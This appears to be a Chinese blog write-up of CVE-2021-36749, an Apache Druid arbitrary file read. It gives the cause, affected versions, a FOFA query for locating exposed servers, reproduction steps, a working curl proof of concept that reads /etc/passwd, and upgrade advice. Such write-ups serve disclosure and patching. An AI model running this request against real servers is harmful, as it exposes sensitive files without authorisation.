Apache Druid LoadData 任意文件读取 CVE-2021-36749

漏洞原理

由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

影响版本

Apache  Druid Version < 0.22

fofa语法

title="Apache Druid"

漏洞复现

主界面–>Load data –>HTTP(s)–>Connect Data–>URIs(使用file://协议进行读取)

image-20211122110801800

image-20211122110940895

file:///etc/passwd

image-20211122111042142

或者是采用命令行poc(也可在bp里演示)

curl http://x.x.x.x:8888/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}"

修复建议

安装 Apache Druid 的用户可根据受影响版本下载官方最新版本安装,升级版本,设置访问权限。

最新版本下载地址如下:https://www.apache.org/dyn/closer.cgi?path=/druid/0.22.0/apache-druid-0.22.0-bin.tar.gz

参考文章:

https://www.cnblogs.com/cn-gov/p/15572281.html

https://github.com/BrucessKING/CVE-2021-36749

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值